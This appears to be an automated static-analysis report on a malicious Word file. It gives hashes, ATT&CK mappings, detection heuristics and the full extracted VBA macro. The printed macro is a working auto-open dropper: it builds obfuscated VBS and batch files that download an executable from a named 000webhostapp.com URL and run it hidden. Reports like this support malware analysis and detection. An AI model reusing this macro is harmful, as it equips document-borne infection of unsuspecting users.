Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 873862b24c05d1aa…

MALICIOUS

Office (OOXML)

329.7 KB Created: 2021-03-14 15:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-26
MD5: a3cc36f04344e7c8c8c6665656866621 SHA-1: 6b8038e10fe69318b583eac551baac04ac41b255 SHA-256: 873862b24c05d1aa796508907a7eff65772005becbddf9061c0334810f82b79a
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro that executes upon opening the document. This macro constructs a URL by concatenating strings to form 'https://redm1az1.000webhostapp.com/wp-content/uploads/2021/03/dazxc.xevbs'. It then uses ADODB.Stream to download the content from this URL to a temporary file named 'itemstop.vbs' and subsequently executes it. The macro also creates a batch file 'itemstop.bat' which likely contains further execution commands.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • https://redm1az1.000webhostapp.com/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2528 bytes
SHA-256: 272e8e91a7080251b83381b605df27c5d91001494bbae3377b489624f07de61b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
respondsimilar = "xe"
faceok = Environ("TEMP")
willwish = Environ("TEMP") & "\itemstop.v" & "bs"
alongwith = Environ("TEMP") & "\itemstop.ba" & "t"
playerhowever = FreeFile
Open willwish For Output As playerhowever
Print #playerhowever, "On Error Resume Next"
Print #playerhowever, "centermemory = " & Chr(34) & "Ado" & Chr(34)
Print #playerhowever, "statebreak = " & Chr(34) & "db.Str" & Chr(34)
Print #playerhowever, "bettercatch = " & Chr(34) & "Micros" & Chr(34)
Print #playerhowever, "treatpeople = " & Chr(34) & "oft.XMLH" & Chr(34)
Print #playerhowever, "technologymove = " & Chr(34) & "https://redm1az1.000webhostapp.com/" & Chr(34)
Print #playerhowever, "statetree = " & Chr(34) & "wp-content/uploads/2021/03/dazxc.e" & respondsimilar & Chr(34)
Print #playerhowever, "Url = technologymove & statetree"
Print #playerhowever, "dim courseremain: Set courseremain = createobject(bettercatch & treatpeople" & " & " & Chr(34) & "TTP" & Chr(34) & ")"
Print #playerhowever, "dim likewindow: Set likewindow = createobject(centermemory & statebreak" & " & " & Chr(34) & "eam" & Chr(34) & ")"
Print #playerhowever, "courseremain.Open " & Chr(34) & "GET" & Chr(34) & ", URL, False"
Print #playerhowever, "courseremain.Send"
Print #playerhowever, "with likewindow"
Print #playerhowever, "    .type = 1"
Print #playerhowever, "    .open"
Print #playerhowever, "    .write courseremain.responseBody"
Close playerhowever
Open alongwith For Output As playerhowever
Print #playerhowever, "ec^ho     .sa^vetofi^le " & Chr(34) & faceok & "\onedespite.e" & respondsimilar & Chr(34) & ", 2 >> " & willwish
Print #playerhowever, "ec^ho end with >> " & willwish
Print #playerhowever, "ec^ho Err.Clear >> " & willwish
Print #playerhowever, "explore^r " & willwish
Print #playerhowever, "SET filka=" & Chr(34) & faceok & "\onedespite.e" & respondsimilar & Chr(34)
Print #playerhowever, ":checa"
Print #playerhowever, "IF EXIST %filka% GOTO Fonok"
Print #playerhowever, "GOTO checa"
Print #playerhowever, ":Fonok"
Print #playerhowever, "explore^r %filka%"
Close playerhowever
Shell (alongwith), vbHide
End Sub

Attribute VB_Name = "Module1"
Sub talktrue()
'
' talktrue Macro
'
'
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: d6462518221e06b6bdc40c4f77bd386f197c9768ea75a5670c8652d9a2f4fa57